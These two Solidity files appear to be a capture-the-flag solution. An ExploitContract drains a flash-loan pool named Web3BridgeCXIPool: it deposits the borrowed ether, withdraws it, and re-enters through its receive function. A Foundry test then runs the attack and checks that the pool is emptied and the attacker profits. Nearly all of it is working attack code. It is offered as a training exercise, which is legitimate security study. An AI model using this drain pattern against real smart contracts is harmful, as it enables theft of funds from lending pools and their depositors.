// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import {Web3BridgeCXIPool} from "src/web3bridgecxipool.sol";
import {IFlashLoanEtherReceiver} from "src/web3bridgecxipool.sol";
contract ExploitContract is IFlashLoanEtherReceiver {
Web3BridgeCXIPool private immutable pool;
bool private attacking;
address private owner;
uint256 private flashLoanAmount;
constructor(address poolAddress) {
pool = Web3BridgeCXIPool(poolAddress);
owner = msg.sender;
}
function attack() external {
require(msg.sender == owner, "Only owner");
flashLoanAmount = address(pool).balance;
pool.flashLoan(flashLoanAmount);
pool.withdraw();
payable(owner).transfer(address(this).balance);
}
function execute() external payable override {
if (!attacking) {
attacking = true;
flashLoanAmount = msg.value;
pool.deposit{value: msg.value}();
pool.withdraw();
require(address(this).balance >= flashLoanAmount, "Insufficient balance");
pool.deposit{value: flashLoanAmount}();
attacking = false;
}
}
receive() external payable {
if (attacking) {
if(address(pool).balance > 0) {
pool.deposit{value: msg.value}();
pool.withdraw();
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Utilities} from "../utils/Utilities.sol";
import "forge-std/Test.sol";
import {Web3BridgeCXIPool} from "src/web3bridgecxipool.sol";
import {ExploitContract} from "src/ExploitContract.sol";
contract Web3BridgeCXIPoolTest is Test {
uint256 internal constant ETHER_IN_POOL = 1_000e18;
Utilities internal utils;
Web3BridgeCXIPool internal pool;
address payable internal attacker;
uint256 public attackerInitialEthBalance;
function setUp() public {
utils = new Utilities();
address payable[] memory users = utils.createUsers(1);
attacker = users[0];
vm.label(attacker, "Attacker");
pool = new Web3BridgeCXIPool();
vm.label(address(pool), "Web3 Bridge Lender Pool");
vm.deal(address(pool), ETHER_IN_POOL);
assertEq(address(pool).balance, ETHER_IN_POOL);
attackerInitialEthBalance = address(attacker).balance;
console.log(unicode"🧨 Let's see if you can break it... 🧨");
}
function testExploit() public {
/**
* EXPLOIT START *
*/
console.log("Attacker initial balance:", attackerInitialEthBalance);
console.log("Pool initial balance:", address(pool).balance);
vm.startPrank(attacker);
ExploitContract exploiter = new ExploitContract(address(pool));
exploiter.attack();
vm.stopPrank();
console.log("Attacker final balance:", address(attacker).balance);
console.log("Pool final balance:", address(pool).balance);
/**
* EXPLOIT END *
*/
validation();
console.log(unicode"\n🎉 Congratulations, you have solved it! 🎉");
}
function validation() internal view {
assertEq(address(pool).balance, 0);
assertGt(attacker.balance, attackerInitialEthBalance);
}
}
